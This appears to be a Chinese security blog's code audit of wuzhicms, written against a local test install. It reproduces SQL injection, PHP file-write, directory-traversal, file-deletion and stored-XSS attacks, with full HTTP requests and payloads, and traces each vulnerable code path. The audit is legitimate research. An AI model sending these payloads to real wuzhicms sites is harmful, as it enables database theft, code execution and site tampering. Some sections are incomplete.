wuzhicms代码审计
前言
安装环境配置
服务器要求
Web服务器: apache/nginx/iis
PHP环境要求:支持php5.2、php5.3、php5.4、php5.5、php5.6、php7.1 (推荐使用5.4或更高版本!)
数据库要求: Mysql5
www/install文件夹即可进入安装页面
审计开始
首页文件index.php, 包含了两个文件;web_config.php是配置文件;
调用load_class加载类application 赋值给$app,通过加载类调用类的方法和属性
COREFRAME_ROOT: D:\phpStudy\WWW\wuzhicms\coreframe\.core.php
COREFRAME_ROOT.'app/'.$m.'/libs/class/'.$class.'.class.php' 下,根据传入的 参数进行拼接,以便找到代码审计中用到的函数的具体实现 ;$m 是 model 模型,它的默认值为 core
1、sql注入
限制
存在参数:m=member&f=group&v=del&groupid=
复现
php
GET /wuzhicms/www/index.php?m=member&f=group&v=del&groupid=+11+and+updatexml(1,concat(0x7e,database(),0x7e),1)&_su=wuzhicms&_menuid=86&callback=jQuery111108443484589395018_1684328007000&_=1684328007001 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/wuzhicms/www/index.php?m=member&f=group&v=listing&_su=wuzhicms&_menuid=86
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pliaroesrtdrgipa7ukdog7ks3; RiH_uid=5oOFbbvGrd1UUpvhkgDTXQ%3D%3D; RiH_username=I97cvAnVbpq1GhuWC2JdWQ%3D%3D; RiH_wz_name=Dt6xwSQrzKyvUb9Rsr8xeQ%3D%3D; RiH_siteid=Z0bFPM%2BHidTg9jT%2FtuA%2B7w%3D%3D
Connection: close
直接爆出数据库语句
payload: 11 and updatexml(1,concat(0x7e,database(),0x7e),1)
代码
先判断groupid参数是否存在,存在在判断是否为数组,将这个数组转为字符串赋值给$where;这里不管groupid是不是数组都会调用delete函数
db.class.php文件里找到delete函数,并且有调用 两个方法;
array2sql方法主要将数组转为sql格式。
首先将数组键值分离,再把值里存在的特殊字符替换为空,没有处理数据库的操作
master_db函数才是真正去操作数据库的函数
传入的sql语句并没有进行任何过滤就直接拼接到$sql并通过query()执行
这里如果语句错误会将sql语句爆出来,所以存在报错注入
2、任意文件写入
限制
后台
复现
php
GET /wuzhicms/www/index.php?m=attachment&f=index&_su=wuzhicms&v=ueditor&submit=1&setting=<%3fphp+phpinfo()%3b%3f> HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/wuzhicms/www/index.php?m=core&f=index&_su=wuzhicms
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nh015f9ktjh3t8i4phiok49ga3; RiH_siteid=p6OJQbtNe4vuJdj%2FRo%2B1LQ%3D%3D; RiH_uid=LqrwgnpVlbhREvcbJFlNPw%3D%3D; RiH_username=01uDy7di2dbou5R%2FmhgGqQ%3D%3D; RiH_wz_name=leCEejPkq%2Flc1hU3yuUUVw%3D%3D
Connection: close
构造存在submit的情况
代码
使用工具审计到危险函数file_put_contents(),通过危险函数将内容写入到缓存文件里,如果$date可控就可以将任意内容写入到php文件中 ,跟踪set_cache函数分析调用这个函数的方法
ueditor方法里调用了set_cache函数。 if只判断是否设置了 submit 参数,存在就会执行写入,setting 参数也就是 $data 部分 。否则 会通过 get_cache() 读取缓存文件内容
set_cache($filename, $data, $dir = '_cache_')
set_cache(filename:V, $GLOBALS['setting']);
3、CSRF
限制
要让管理员登录网站的同时诱骗他去点击我发送的网址
复现
右击鼠标原则csrf poc
构造普通用户(已注册)复制构造好的html。直接添加会提示账户不存在所以要先注册一个普通用户
代码
根据路由涨到对应代码文件:index.php?m=core&f=power&v=add&&_su=wuzhicms
先是存在submit参数才会进入一系例操作;username为空就提示,并且给username赋值, 根据用户名 从数据库中查找前台账户,如果该前台用户不存在则会提示如下内容;判断uid是否不存在,不存在提示不存在,然后去数据库查找,存在则提示已存在;下面是验证密码是否存在,最后把内容插入数据库,过程中没有使用随机token验证或其他的验证
4、目录遍历
限制
后台
复现
php
GET /wuzhicms/www/index.php?m=template&f=index&v=listing&dir=.....///.....///.....///&_su=wuzhicms HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: RiH_auth=zLGn%2BqbtDHxJFlV2Pt8y6AcXFpAIO5xwW8anmGwQ2sQl%2B1IMRBsM6ZxpAc3%2FPOznBnlPdi42dD0C5vw52L3XXaAECHnAWHJlSmaHHqvMeuMkTeyK4MFD%2Bw%3D%3D; RiH__uid=D2oU95p7gwVL2bJQgKeCXw%3D%3D; RiH__username=wInAaxsOWKbjQ5Jt5C%2F6ZQ%3D%3D; RiH__groupid=n81pE%2BtpShzrqE4TAb0p3g%3D%3D; RiH_truename=ceshi3; RiH_modelid=10; RiH_siteid=DCKb48sEMAct9cg2geteFg%3D%3D; PHPSESSID=8kom5gg5oh1q0vo53abitna5q1; RiH_uid=c%2BfeHpVkwi9O3u6FQUAhqA%3D%3D; RiH_username=GWEjobSbmOdma9fhJabQKQ%3D%3D; RiH_wz_name=HfEWylKJPeWrEtl6hFNkjg%3D%3D
Connection: close
代码
glob() 函数返回匹配指定模式的文件名或目录。(.....///)==../
上面对dir参数做了替换,出现'..\\', '../', './', '.\\',替换为空,存在'%2F','//',替换为/。并且只替换一次。
通过 template() 函数执行listing.tpl.php 文件
将目录下的内容遍历输出
5、dom(存储)型xss
限制
复现
前端触发
后台触发
代码
6、任意文件删除
限制
后台
复现
php
GET /wuzhicms/www/index.php?v=del&url=../ceshi.txt&m=attachment&f=index&_su=wuzhicms&_menuid=29&_submenuid=52 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/wuzhicms/www/index.php?dir=qr_image&m=attachment&f=index&v=dir&_su=wuzhicms&_menuid=29&_submenuid=52
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: RiH_auth=zLGn%2BqbtDHxJFlV2Pt8y6AcXFpAIO5xwW8anmGwQ2sQl%2B1IMRBsM6ZxpAc3%2FPOznBnlPdi42dD0C5vw52L3XXaAECHnAWHJlSmaHHqvMeuMkTeyK4MFD%2Bw%3D%3D; RiH__uid=D2oU95p7gwVL2bJQgKeCXw%3D%3D; RiH__username=wInAaxsOWKbjQ5Jt5C%2F6ZQ%3D%3D; RiH__groupid=n81pE%2BtpShzrqE4TAb0p3g%3D%3D; RiH_truename=ceshi3; RiH_modelid=10; RiH_siteid=DCKb48sEMAct9cg2geteFg%3D%3D; PHPSESSID=8kom5gg5oh1q0vo53abitna5q1; RiH_uid=c%2BfeHpVkwi9O3u6FQUAhqA%3D%3D; RiH_username=GWEjobSbmOdma9fhJabQKQ%3D%3D; RiH_wz_name=HfEWylKJPeWrEtl6hFNkjg%3D%3D; RiH_userkeys=2vJ4MaNT6q6Af47lnCIg3w%3D%3D
Connection: close
在www/新建ceshi.txt
代码
根据路由找到对应代码文件
wuzhicms/www/index.php?v=del&url=../ceshi.txt&m=attachment&f=index&_su=wuzhicms
判断传入的两个参数id、url是否存在,remove_xss函数对url做了过滤 。实质是过滤xss的,但过滤的这些字符里不包含../。
如果不传入id参数则会走下面的else,判断传入的 path是否在数据库中,如果不在就执行my_unlink删除操作
7、存储型xss
限制
后台插入,前端弹窗
复现
php
POST /wuzhicms/www/index.php?m=content&f=content&v=edit&id=182&type=&cid=43&_su=wuzhicms&_menuid=0 HTTP/1.1
Host: 127.0.0.1
Content-Length: 784
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/wuzhicms/www/index.php?m=content&f=content&v=edit&id=182&type=&cid=43&_su=wuzhicms&_menuid=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: RiH_auth=zLGn%2BqbtDHxJFlV2Pt8y6AcXFpAIO5xwW8anmGwQ2sQl%2B1IMRBsM6ZxpAc3%2FPOznBnlPdi42dD0C5vw52L3XXaAECHnAWHJlSmaHHqvMeuMkTeyK4MFD%2Bw%3D%3D; RiH__uid=D2oU95p7gwVL2bJQgKeCXw%3D%3D; RiH__username=wInAaxsOWKbjQ5Jt5C%2F6ZQ%3D%3D; RiH__groupid=n81pE%2BtpShzrqE4TAb0p3g%3D%3D; RiH_truename=ceshi3; RiH_modelid=10; PHPSESSID=rugt9gvjv8qsti0s2o0pssv905; RiH_siteid=3ye8zbHHvJ39hglv%2Beswxw%3D%3D; RiH_uid=%2BNryPpAz79%2Fj9RcfeODNQQ%3D%3D; RiH_username=rHY8uux7ev%2FyAI7MlE7c8g%3D%3D; RiH_wz_name=XUfU%2FGeZc4Yn4VmyeDiIAQ%3D%3D; RiH_qkey=GdkvbKLauqaBUT5DZy7qzUd4zKeGbQ36
Connection: close
form%5Btitle%5D=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3eaa&title_css=&form%5Bcontent%5D=%3Cp%3E%E6%B5%8B%E8%AF%952%26%2339%3B%26lt%3B%26gt%3Bbb%3C%2Fp%3E%0D%0A&form%5Byouku%5D=http%3A%2F%2Fv.youku.com%2Fv_show%2Fid_XMTU1Njg1OTAxMg%3D%3D.html%3Ffrom%3Dy1.3-idx-beta-1519-23042.230771.3-1&form%5Btudou%5D=&form%5Bkeywords%5D=&form%5Bremark%5D=%E6%B5%8B%E8%AF%95%0D%0A&form%5Bthumb%5D=&form%5Bblock%5D%5B%5D=no_value&form%5Bstatus%5D=9&url=http%3A%2F%2F127.0.0.1%2Fwuzhicms%2Fwww%2Findex.php%3Fv%3Dshow%26cid%3D43%26id%3D182&form%5Broute%5D=0&form%5Brelation%5D=&search=&form%5Baddtime%5D=2016-05-20+09%3A11%3A56&form%5Bsort%5D=0&form%5Btemplate%5D=&form%5Ballowcomment%5D=1&form%5Bgroups%5D=no_value&modelid=7&old_status=9&submit=+%E6%8F%90+%E4%BA%A4+
代码
此处做了过滤但是没有过滤<>,此处也存在sql注入,虽然过滤了'",但也带入到数据库更新了
对title的过滤
其他存在xss的地方
POST /wuzhicms/www/index.php?m=content&f=block&v=item_edit&id=210&_su=wuzhicms&_menuid=57
POST /wuzhicms/www/index.php?m=tags&f=index&v=add&&_su=wuzhicms&_menuid=95&_submenuid=101
8、任意文件读取
限制
后台
复现
uploadfile\member\a8\4 下新建1.txt
代码
WWW_ROOT:\WWW\wuzhicms\bin/../
WWW_ROOT拼接了后面的路径赋值给$sql_path。fopen.w写入的方式打开,没有就创建。结果赋值给$sql_file。过程没有对路径过滤,可以使用../跳到其他目录
9、信息泄露
限制
m=core&f=index&v=phpinfo
复现
php
GET /wuzhicms/www/index.php?m=core&f=index&v=phpinfo&_su=wuzhicms&_menuid=11&_submenuid=47 HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://127.0.0.1/wuzhicms/www/index.php?m=core&f=model&v=model_listing&app=content&_su=wuzhicms&_menuid=45
Accept-Encoding: gzip, deflate
Accept-Language: ../../,zh;q=0.9
Cookie: PHPSESSID=rugt9gvjv8qsti0s2o0pssv905; RiH_siteid=3ye8zbHHvJ39hglv%2Beswxw%3D%3D; RiH_qkey=GdkvbKLauqaBUT5DZy7qzUd4zKeGbQ36; sid=; RiH_uid=uqlxl2PdYTyVqiBK3QAD%2FA%3D%3D; RiH_username=qNjRc1Jym7b4QYH3bFeKCA%3D%3D; RiH_wz_name=ZE%2FQpS7skiWHTRuTh7wGBg%3D%3D; mYM_siteid=ZZQaB%2BcTRLRNiCsFrqdvfw%3D%3D; mYM_qkey=bW7PvmhFsAJKfi4LvZkVX1bI04WDYr76; mYM_userkeys=UjOnYzvxR52J7mqM%2BjPv1g%3D%3D; mYM_uid=D3s5ZUdk0BOuMYm%2BjYH9Aw%3D%3D; mYM_username=0xgAf6uGD%2BoB8ulGN7CEQQ%3D%3D; mYM_wz_name=Jbwkr75OzXiI%2BAI3n88exw%3D%3D
Connection: close
代码
直接输出phpinfo